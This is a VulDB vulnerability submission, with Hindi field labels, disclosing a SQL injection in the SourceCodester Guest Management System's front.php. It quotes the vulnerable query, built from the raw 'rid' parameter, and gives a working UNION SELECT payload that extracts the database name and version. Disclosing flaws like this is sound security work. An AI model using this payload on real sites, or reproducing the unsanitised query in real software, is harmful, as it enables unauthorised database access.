| शीर्षक | There is a SQL injection vulnerability in the guest management system. |
|---|
| विवरण | There is a SQL injection vulnerability in the visitor management system, which does not check the query content entered by the user. The input content is controllable by the user, and the user can construct a malicious payload to attack the website.
Vulnerability file location: / guestmanagement / front.php
look at this source code
```
if(isset($_GET['rid'])){
$showResultFor = $_ GET['rid'];
}
$query = "SELECT * FROM info_visitor WHERE ReceiptID = '$showResultFor' AND Status = 'ONLINE' ";
```
There is no protection for $rid here. Malicious data can be constructed here to attack the website database.
The construction statement is as follows
```
? rid=0' union select 1,database(),3,@@version,5,6,7,8,9,10,11,12,13,14,15,16--+
```
https://s1.ax1x.com/2022/08/13/vtDZfe.png
Source link
https://www.sourcecodester.com/php/14664/guest-management-system-php-full-source-code.html |
|---|
| स्रोत | ⚠️ https://www.sourcecodester.com/php/14664/guest-management-system-php-full-source-code.html/ |
|---|
| उपयोगकर्ता | qidian (UID 30810) |
|---|
| सबमिशन | 16/08/2022 01:03 AM (4 साल पहले) |
|---|
| संयम | 16/08/2022 03:56 PM (15 hours later) |
|---|
| स्थिति | स्वीकृत |
|---|
| VulDB प्रविष्टि | 206489 [SourceCodester Guest Management System front.php rid SQL इंजेक्शन] |
|---|
| अंक | 20 |
|---|